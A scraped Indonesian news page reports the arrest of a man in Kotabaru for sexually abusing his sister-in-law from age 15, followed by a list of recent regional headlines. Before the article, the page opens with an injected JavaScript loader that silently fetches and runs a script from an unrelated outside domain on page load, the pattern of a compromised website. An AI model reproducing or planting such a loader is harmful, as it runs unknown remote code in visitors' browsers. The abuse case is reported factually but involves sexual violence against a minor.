(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kotabaru

Lelaki ‘Garap’ Adik Ipar di Kotabaru, Lima Tahun Baru Terbongkar


KANALKALIMANTAN.COM, KOTABARU – Pagar makan tanaman, ungkapan yang tepat diberikan kepada M (46), lelaki yang tega menyetubuhi adik ipar sendiri. Aksi ‘nikmatnya’ itu ternyata berlangsung sejak tahun 2016 hingga terbongkar di bulan Februari 2022.

M pada Senin (21/2/22) kemarin, dilaporkan ke pihak Kepolisian Resort Kotabaru atas tindakan yang dilakukannya pada Jumat (18/2/2022) lalu, di salah satu desa di Kecamatan Pulau Laut Utara.

Korban berinisial SZ (20) harus rela melayani kelakuan kakak ipar sendiri. Karena kerap mendapatkan ancaman dari tersangka, sehingga dengan rela aksi yang sudah berlangsung selama lima tahun tersebut terus dilancarkan pelaku.

Kapolres Kotabaru AKBP Gafur Aditya Harisada Siregar melalui Kasat Reskrim Polres Kotabaru AKP Abdul Jalil mengatakan, setelah dilakukan pemeriksaan, M mengakui perbuatannya yang telah menyetubuhi korban sejak masih berusia 15 tahun.

 

 

Baca juga: Dugaan Pemeliharaan Operasional Fiktif di Dinas LH Kotabaru, Kejari Bawa Dua Boks Dokumen

“Modus awalnya tersangka mempertontonkan film porno kepada korban dan melakukan ancaman, sehingga korban takut dan akhirnya harus melayani kakak iparnya itu,” tutur Kasat Reskrim, Kamis (23/2/2022).

Untuk aksinya sendiri, sambung Kasat Reskrim, dilakukan tersangka saat istrinya atau kakak kandung dari korban sedang tidak berada di rumah. Baru setelah dilaporkan ke polisi, Macan Bamega Satreskrim Polres Kotabaru langsung mencari dan akhirnya berhasil menangkap pelaku yang saat itu tengah berada di kawasan jalan Raya Stagen, Kecamatan Pulau Laut Utara.

Dari hasil pengembangan penangkapan terhadap tersangka didapati beberapa barang bukti yakni, selembar baju daster warna ungu bermotif bunga, satu lembar bra warna cream, selembar celana pendek warna abu-abu dan satu lembar fotocopy kartu keluarga.

“Untuk tersangka dikenakan pasal 81 ayat 2 UU Nomor 17 tahun 2016 tentang Penetapan Peraruran Pemerintah Pengganti Undang-Undang Nomor 1 tahun 2016 Tentang Perubahan Kedua Atas Undang-Undang No 23 tahun 2002 Tentang Perlindungan Anak Menjadi Undang-Undang,” jelasnya. (Kanalkalimantan.com/muhammad)

Reporter : muhammad
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.